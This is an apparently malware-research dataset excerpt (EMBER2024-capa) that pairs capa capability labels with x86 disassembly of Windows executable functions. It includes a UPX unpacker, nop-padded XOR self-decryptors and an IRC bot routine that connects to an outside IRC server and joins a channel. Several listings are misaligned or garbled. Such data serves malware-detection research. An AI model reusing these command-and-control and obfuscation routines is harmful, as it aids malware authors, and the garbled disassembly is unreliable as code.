joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41f920
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
mov eax, dword [0x429044]
xor eax, ebp
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 8], eax
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 8]
push eax
call fcn.00405e60
add esp, 4
test eax, eax
je 0x41fab0
push 0x4260f0
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401000
add esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x41fab0
push str.Service
mov edx, dword [ebp - 0x1c]
add edx, 1
push edx
call fcn.004060c5
add esp, 8
test eax, eax
jne 0x41f99b
mov dword [ebp - 4], 1
push str.Uninstall
mov eax, dword [ebp - 0x1c]
add eax, 1
push eax
call fcn.004060c5
add esp, 8
test eax, eax
jne 0x41f9ba
mov dword [ebp - 4], 2
push 0x40
push 0x42b118
push 0x64
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
push 0x40
push 0x42b158
push 0x65
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
mov byte [ebp - 0x1d], 0
lea ecx, [ebp - 0x270]
call fcn.0041a640
cmp dword [ebp - 4], 0
jne 0x41fa20
push 0x426108
call fcn.00406117
add esp, 4
mov dword [ebp - 0x274], 0
lea ecx, [ebp - 0x270]
call fcn.0041a5e0
mov eax, dword [ebp - 0x274]
jmp 0x41faea
cmp dword [ebp - 4], 1
jne 0x41fa49
push 0
push 2
push 0x110
push 0x42b158
push 0x42b118
lea ecx, [ebp - 0x270]
call fcn.0041a760
mov byte [ebp - 0x1d], al
jmp 0x41fa62
cmp dword [ebp - 4], 2
jne 0x41fa62
push 0x42b118
lea ecx, [ebp - 0x270]
call fcn.0041a6b0
mov byte [ebp - 0x1d], al
movzx ecx, byte [ebp - 0x1d]
test ecx, ecx
je 0x41fa80
mov dword [ebp - 4], 0
push 0x42613c
call fcn.00406117
add esp, 4
jmp 0x41fa94
mov dword [ebp - 4], 0xffffffff
push 0x42614c
call fcn.00406117
add esp, 4
mov edx, dword [ebp - 4]
mov dword [ebp - 0x278], edx
lea ecx, [ebp - 0x270]
call fcn.0041a5e0
mov eax, dword [ebp - 0x278]
jmp 0x41faea
mov dword [ebp - 0x18], 0x42b118
mov dword [ebp - 0x14], 0x41f710
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x41fae5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x42b08c], eax
mov eax, dword [0x42b08c]
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.00405e4a
mov esp, ebp
pop ebp
ret 0x10
Function at 0x7b0ae0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x353000]
push edi
jmp 0x7b0afa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7b0b01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7b0af0
mov eax, 1
add ebx, ebx
jne 0x7b0b13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7b0b24
jne 0x7b0b43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7b0b43
dec eax
add ebx, ebx
jne 0x7b0b30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7b0b08
add ebx, ebx
jne 0x7b0b3f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7b0b95
xor ecx, ecx
sub eax, 3
jb 0x7b0b5b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7b0bca
sar eax, 1
mov ebp, eax
jmp 0x7b0b66
add ebx, ebx
jne 0x7b0b66
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7b0b34
inc ecx
add ebx, ebx
jne 0x7b0b74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7b0b34
add ebx, ebx
jne 0x7b0b81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7b0b76
jne 0x7b0b92
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7b0b76
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7b0bb4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7b0ba6
jmp 0x7b0af6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7b0bb4
add edi, ecx
jmp 0x7b0af6
pop esi
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7b0bd2
cmp byte [edi], 0x11
jne 0x7b0bd2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7b0bd7
lea edi, [esi + 0x3a9000]
mov eax, dword [edi]
or eax, eax
je 0x7b0c4f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x67b6b4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x67b830]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7b0c04
mov ecx, edi
jns 0x7b0c33
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x67b834]
or eax, eax
je 0x7b0c49
mov dword [ebx], eax
add ebx, 4
jmp 0x7b0c21
call dword [esi + 0x67b844]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x7b0c80
cmp al, 0xef
ja 0x7b0c73
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x7b0c55
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x7b0c62
mov ebp, dword [esi + 0x67b838]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7b0cb4
sub esp, 0xffffff80
jmp 0x420577
Function at 0x4050f5
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp byte [ecx + 0x14], 0
jne 0x443d70
push dword [ebp + 0x14]
push dword [ebp + 0x10]
jne 0x40511d
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0042e8c4
add esp, 0x10
leave
ret 0x10
mov ecx, dword [ecx + 0x10]
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0xc]
imul eax, dword [ebp + 0x10]
mov edx, dword [ecx]
push eax
push dword [ebp + 8]
push ecx
call dword [edx + 0xc]
mov eax, dword [ebp - 4]
jmp 0x40511b

Function at 0x40510b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp byte [ecx + 0x14], 0
jne 0x443d70
push dword [ebp + 0x14]
push dword [ebp + 0x10]
jne 0x40511d
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0042e8c4
add esp, 0x10
leave
ret 0x10
mov ecx, dword [ecx + 0x10]
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0xc]
imul eax, dword [ebp + 0x10]
mov edx, dword [ecx]
push eax
push dword [ebp + 8]
push ecx
call dword [edx + 0xc]
mov eax, dword [ebp - 4]
jmp 0x40511b

Function at 0x40693c
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
xor esi, esi
mov edx, dword [eax + 4]
mov edi, dword [eax]
add edx, edx
mov eax, 0x1505
Function at 0x40a17c
Capabilities:
Parse pe header

Disassembly:
and dword [ebx], eax
add byte [eax], al
inc edi
mov dword [ebp - 8], edi
jmp 0x409fc7
Function at 0x41aaaf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov eax, edx
mov dword [ebp - 0x28], ecx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov edx, dword [eax + 4]
xor ecx, ecx
mov dword [ebp - 0xc], eax
push 0x4e
pop ebx
mov eax, dword [edx + edi*4 - 4]
mov dword [ebp - 4], esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x18], 0x4f
cmp word [eax + 8], bx
mov dword [ebp - 0x1c], 0x47
sete cl
mov dword [ebp - 0x20], 0x48
mov dword [ebp - 0x24], 0x7f
mov eax, dword [edx + edi*4]
movzx eax, word [eax + 8]
cmp ax, bx
je 0x4579e4
cmp ax, word [ebp - 0x18]
jne 0x41ab18
test esi, esi
jne 0x41ab48
dec ecx
inc edi
jmp 0x41aafa
cmp ax, 0x41
je 0x4579f2
cmp ax, word [ebp - 0x1c]
je 0x41ab3c
cmp ax, word [ebp - 0x20]
je 0x41ab42
cmp ax, word [ebp - 0x24]
jne 0x41ab48
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
inc esi
jmp 0x457a0e
dec esi
jmp 0x457a0e
test ecx, ecx
je 0x41ab34
jmp 0x41ab15
invalid
inc dword [ebx - 0x37bf918]
call [ecx - 0x39]
dec ebp
add byte [eax - 0x73], dl
test ah, bh
cld
inc dword [ebx - 0x3d0753c]
adc edx, dword [0x5c49c16c]
xor esp, edi
inc dword [ecx - 0x17]
and esi, dword [ecx]
cld
dec edx
add byte [edx], al
test dword [eax], ebp
xor esp, edi
cld
inc dword [edi - 0x77]
jge 0x457a04
mov dword [edx + edi*4], eax
cmp word [eax + 8], bx
je 0x457a2c
xor eax, eax
jmp 0x41ab4d
xor eax, eax
xor ecx, ecx
inc eax
xor ebx, ebx
inc ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
inc ebx
mov dword [esi], ebx
adc al, byte [edx]
add ah, ch
jmp 0x457a45
mov edx, dword [ebp - 0xc]
mov dword [eax], ebx
lea ebx, [edi*4 + 4]
push 0x4e
pop ecx
mov edx, dword [edx + 4]
mov eax, dword [ebx + edx]
cmp word [eax + 8], cx
mov ecx, dword [ebp - 0x10]
jne 0x457a86
add byte [eax], al
jmp 0x457a71
inc dword [ecx]
lea ebx, [ebx + 4]
mov edx, dword [edi + 4]
mov eax, dword [ebx + edx]
cmp word [eax + 8], si
je 0x457a6c
mov edi, 0x7d8bfc75
or byte [ebx + 0x5d8bf04d], cl
in al, dx
mov ebx, dword [ebp - 0x14]
lea edx, [edx + edi*4]
mov edi, dword [ebp - 0x28]
Function at 0x43927b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004390fa

Function at 0x4696e2
Capabilities:
Encode data using xor

Disassembly:
test ecx, ecx
jle 0x4696ef
xor word [edi + eax*2], cx
inc eax
cmp eax, ecx
jl 0x4696e6
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x469c8f
Capabilities:
Encode data using base64

Disassembly:
cmp edi, ebx
push ebp
mov ebp, esp
sub esp, 0x8d50004d
xor eax, eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov dword [esi], eax
mov word [esi + 4], ax
cmp dword [edi + 0x20], eax
mov edi, dword [esi]
or byte [ebx - 0x7a7217f0], 0
inc dword [esi - 1]
push eax
call dword [0x49c604]
dec ebp
ror byte [edi], 1
test byte [edx], dl
push eax
lea edi, [eax - 0x459ff80]
cmp byte [ebp - 0x60], al
je 0x469cd7
cmp byte [ebp - 0xf0], al
jne 0x469ce0
cmp byte [edi + 0x1a], 0
jne 0x469ce0
mov byte [esi], 1
cmp byte [ebp - 0x5f], al
jne 0x469cef
cmp byte [edi + 0x1b], 0
jne 0x469cef
mov byte [esi + 1], 1
cmp byte [ebp - 0xef], al
jne 0x469d01
cmp byte [edi + 0x1c], 0
jne 0x469d01
mov byte [esi + 2], 1
cmp byte [ebp - 0xee], al
jne 0x469d13
cmp byte [edi + 0x1d], 0
jne 0x469d13
mov byte [esi + 3], 1
cmp byte [ebp - 0xa5], al
jne 0x41bd17
cmp byte [edi + 0x1e], 0
jne 0x41bd17
mov byte [esi + 4], 1
jmp 0xe6c217

Function at 0x471f72
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub dword [0x4d06e0], 1
jne 0x471f80
call fcn.0047205c
mov eax, dword [0x4d2ff4]
mov ecx, dword [eax]
add eax, 4
mov dword [0x4d2ff4], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
shr eax, 1
ret

Function at 0x471fb8
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
sub dword [0x4d06e0], 1
jne 0x471fcb
call fcn.0047205c
mov eax, dword [0x4d2ff4]
mov ecx, dword [eax]
add eax, 4
mov dword [0x4d2ff4], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
mov dword [ebp - 4], eax
fild dword [ebp - 4]
jns 0x47200e
fadd qword [0x4c81c0]
fstp qword [ebp - 8]
fld qword [ebp - 8]
fmul qword [0x4c8190]
leave
ret

Function at 0x47201c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
xor esi, esi
mov dword [0x4d2630], ecx
inc esi
mov edx, esi
mov eax, dword [edx*4 + 0x4d262c]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [edx*4 + 0x4d2630], eax
inc edx
cmp edx, 0xe8100270
jl 0x472028
mov dword [0x4d06e0], esi
mov dword [0x4d2ff0], esi
pop esi
ret
Function at 0x47205c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x4d2ff0], 0
push esi
push edi
mov esi, 0x4d2630
jne 0x47207f
push 0
call fcn.0042e4fe
pop ecx
mov ecx, eax
call 0xa847201c
mov dword [0x4d06e0], 0xe8100270
mov edx, 0xe3
mov dword [0x4d2ff4], esi
mov eax, dword [esi + 4]
mov ecx, dword [esi]
xor ecx, eax
and al, 1
and ecx, 0x7f468dfe
movzx eax, al
xor ecx, dword [esi]
shr ecx, 1
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
xor ecx, dword [esi - 0x17eff9cc]
mov dword [esi], ecx
add esi, 4
sub edx, 1
jne 0x472094
mov eax, dword [esi]
mov dword [ebp - 4], 0x4d19018c
mov edi, dword [esi + 4]
mov ecx, eax
xor ecx, edi
and ecx, 0x7f468dfe
xor ecx, eax
mov eax, edi
and al, 1
shr ecx, 1
movzx eax, al
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
mov eax, edi
xor ecx, dword [esi - 0x38c]
sub dword [ebp - 4], 1
mov dword [esi], ecx
lea esi, [esi + 4]
jne 0x4720ce
mov eax, dword [0x4d2630]
mov ecx, edi
xor ecx, eax
and al, 1
and ecx, 0x7f468dfe
movzx eax, al
xor ecx, edi
shr ecx, 1
neg eax
pop edi
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
xor ecx, dword [esi - 0x38c]
mov dword [esi], ecx
pop esi
leave
ret

Function at 0x472914
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
lea ecx, [ebp - 0xdc]
call 0x1472764
add byte [ebp + 8], dh
lea ecx, [ebp - 0xdc]
call fcn.004727a8
xor esi, esi
test ebx, ebx
je 0x472958
push ecx
push ecx
lea ecx, [ebp - 0xdc]
call 0x46d438e8
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jb 0x472943
pop edi
pop esi
pop ebx
leave
ret
Function at 0x472af3
Capabilities:
Encode data using xor

Disassembly:
inc ebp
shr byte [edx + 4], 0x50
call 0x1440510b
add byte [ebx], dh
lea eax, [ebp - 0x44]
mov ecx, ebx
push esi
push 4
push eax
call 0x1440510b
add byte [ebx], dh
lea eax, [ebp - 0x38]
mov ecx, ebx
push esi
push 4
push eax
call 0x1440510b
add byte [ebx], dh
lea eax, [ebp - 0x3c]
mov ecx, ebx
push esi
push 4
push eax
call fcn.0040510b
lea ecx, [ebp + 0x13fdb4]
call 0xa647302d
lea eax, [ebp + 0x13fdb4]
push 0x4c6a94
push eax
call fcn.0042e601
mov dword [ebp - 0x20], eax
pop ecx
pop ecx
test eax, eax
jne 0x472b59
push 9
jmp 0x4d602ccc
mov eax, dword [ebx + 8]
lea ecx, [ebp - 0x324]
add eax, 0xa6002477
push eax
call 0xa84727a8
mov edx, dword [ebp - 0x18]
mov ecx, edi
test edx, edx
jle 0x4d60bc06
lea eax, [ecx + 0x50004dff]
cmp eax, edx
jle 0x472b8a
mov eax, edx
sub eax, ecx
jmp 0x472b8f
mov eax, 0x10000
push dword [ebx]
add ecx, eax
mov dword [ebp + 8], eax
push eax
push esi
push dword [ebp - 0x14]
mov dword [ebp - 0x34], ecx
mov ecx, ebx
call fcn.0040510b
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], edi
test eax, eax
jle 0x472bd7
mov ebx, dword [ebp - 0x14]
mov edi, eax
mov esi, dword [ebp - 0x2c]
push ecx
push ecx
lea ecx, [ebp - 0x324]
call 0x46d528e8
xor byte [ebx + esi], al
inc esi
cmp esi, edi
jl 0x472bb7
mov ebx, dword [ebp - 0x30]
xor esi, esi
mov eax, dword [ebp + 8]
inc esi
xor edi, edi
or eax, 0x8dec7500
dec ebp
in al, 0xe8
push eax
cmc
inc dword [eax]
add byte [ebp - 0x20], dh
push dword [ebp + 8]
push esi
push dword [ebp - 0x14]
call 0x9342dbc9
mov ah, 0x4d
int3
Function at 0x101f8f1b
Capabilities:
Encode data using xor

Disassembly:
pushal
pushal
jmp 0x101f17b2
add esp, 0x20
jnp 0x10109401
cmp al, 0x5a
pushal
pushal
mov word [esp + 0xc], ax
lea esp, [esp + 0x40]
and al, 0x40
ja 0x101eb155
stc
pushal
xor ah, 0x94
sal ah, 6
add al, 0x20
xor ah, 0x59
call fcn.101f752f
stc
popal
pop es
salc
jbe 0x1010ad56
invalid
clc
pushal
jmp 0x1010ad43
mov byte [esp + 4], 0xca
pushal
lea esp, [esp + 0x28]
jb 0x101eb155
cmc
jl 0x101e4c7c
cmp al, 0x5a
push esp
lea esp, [esp + 4]
ja 0x101eb155
neg ah
inc ah
add al, 0x20
add ah, 0x81
sub ah, 0x24
mov ah, byte [esi]
push 0x20ffb5d2
cmp ah, 0x41
call fcn.101e94ee
pushal
call fcn.101eda96
pushfd
pushfd
push ecx
inc edi
mov byte [esp], dh
lea esp, [esp + 0xc]
jmp fcn.101f30bb
cmp al, 0x5a
push dword [esp]
push dword [esp]
push 0xe2b0faec
lea esp, [esp + 0x4c]
ja 0x101eb155
pushfd
add al, 0x20
push dword [esp]
sal ah, 1
adc ah, cl
add ah, bl
mov ah, byte [esi]
cmp dh, 0x8e
cmp ah, 0x41
jmp 0x101ecb36
jmp 0x101eb12b
Function at 0x407cb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Get hostname
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x110]
push ebx
push ebp
push esi
push edi
push eax
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [esp + 0x20]
push 0x40
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x20]
lea eax, [esp + 0x20]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
lea edx, [esp + 0x6c]
push str.USER_1_s______2_s___:3_s___n
push edx
call esi
push str.d3st1n1ty_1_n
push 0x41d6ec
call esi
lea eax, [esp + 0x3c]
lea ecx, [esp + 0xfc]
push eax
push str.NICK___s_abc_n
push ecx
call esi
lea edx, [esp + 0xc8]
push str.JOIN_nyubi_n
push edx
call esi
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x30
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push str.irc.librenet.net
mov dword [0x41d72c], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x407e94
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
lea edi, [esp + 0x14]
push 0x1a0b
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
mov word [esp + 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x41d72c]
lea ecx, [esp + 0x10]
push 0x10
push ecx
push edx
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jl 0x407d39
lea edi, [esp + 0x60]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x64]
push ecx
mov ecx, dword [0x41d72c]
push eax
push ecx
mov dword [0x421930], 1
call ebx
lea edi, [esp + 0xe0]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
mov eax, dword [0x41d72c]
lea edx, [esp + 0xe4]
not ecx
dec ecx
push ecx
push edx
push eax
call ebx
push 0
push pe_overlay
push 0x4079d0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
push 0x3e8
call ebp
lea edi, [esp + 0xa0]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x41d72c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
lea ecx, [esp + 0xa8]
push ecx
push edx
call ebx
mov eax, dword [0x421930]
test eax, eax
je 0x407e82
push 0x30d40
call ebp
push 0x40c25c
push 0x41d0e8
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, 0x41d0e8
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
mov eax, dword [0x41d72c]
push 0
not ecx
dec ecx
push ecx
push 0x41d0e8
push eax
call ebx
mov eax, dword [0x421930]
test eax, eax
jne 0x407e40
mov ecx, dword [0x41d72c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x407d39
mov edx, dword [0x41d72c]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x407d39
Function at 0x431004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x431072
nop
nop
nop
mov ebx, 0x40915c
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x40196eeb
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x431060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4310d2
mov ebx, 0x42f3f8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x31ee46ff
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x402a64
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004040c0
test esi, esi
jne 0x402a9a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004041b0
jmp 0x402ab8
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402918
mov edi, eax
test esi, esi
je 0x402ab8
cmp dword [ebx], 0
je 0x402ab8
dec esi
jmp 0x402aa1
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403140
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x46d020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4031d8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4031b8
xor eax, eax
push ebp
push 0x4031b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4031f4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4031b8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x46d020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x46d020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403ec0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46f048], 0
je 0x403f21
cmp word [0x46f21c], 0xd7b2
jne 0x403ee9
cmp dword [0x46f224], 0
jbe 0x403ee9
mov eax, 0x46f218
call dword [0x46f234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x46d06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403f48
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46d030], 0
jne 0x403f3d
push 0
push 0x46d064
push 0x46d06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404074
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.004026dc
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x46f049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x40403c
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc